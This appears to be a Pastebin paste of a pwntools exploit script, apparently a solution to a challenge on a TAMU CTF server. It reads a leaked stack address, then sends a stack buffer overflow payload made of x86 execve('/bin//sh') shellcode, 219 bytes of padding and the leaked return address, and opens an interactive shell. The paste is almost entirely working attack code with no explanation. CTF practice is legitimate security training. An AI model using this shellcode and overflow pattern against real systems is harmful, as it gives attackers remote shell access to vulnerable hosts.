Advertisement
Guest User

Untitled

a guest
Feb 24th, 2018
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.37 KB | None | 0 0
  1. from pwn import *
  2.  
  3. p=remote("pwn.ctf.tamu.edu",4323)
  4. p.recvuntil("Generator!\n")
  5. p.recvuntil("\n")
  6. address = int(p.recvuntil("\n").split("number ")[1].split("!")[0],16)
  7. exploit = ""
  8. exploit += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
  9. exploit += "A"*219
  10. exploit += p32(address)
  11. p.sendline(exploit)
  12. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement